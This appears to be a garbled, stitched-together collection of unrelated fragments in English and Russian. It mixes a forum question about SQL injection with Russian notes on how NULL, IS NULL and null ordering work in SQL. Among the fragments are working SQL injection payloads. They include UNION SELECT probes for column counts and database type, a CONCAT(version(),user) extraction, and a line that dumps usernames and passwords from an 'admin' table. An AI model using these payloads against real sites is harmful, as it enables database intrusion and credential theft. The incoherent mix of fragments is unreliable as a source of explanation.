Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
UNION ALL SELECT NULL, *, NULL, NULL FROM email.
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT%28version(),0x3a,user
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
SELECT id, count(*), count(price>1) FROM usr GROUP BY id. Конечно, в таком виде запрос не сработает.
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
Select MyDate from MyTable order by case when MyDate is null then 1 else 0 end, MyDate.
Предикат IS NULL позволяет проверить отсутствие (наличие) значения в полях таблицы. Использование в этих случаях обычных предикатов сравнения может привести к неверным результатам, так как сравнение со значением NULL дает результат UNKNOWN (неизвестно).
Строго говоря, NULL-значение вовсе не представлено в поле. Когда значение поля есть NULL — это значит, что программа базы данных специальным образом помечает поле, как не содержащее какого-либо значения для данной строки (записи).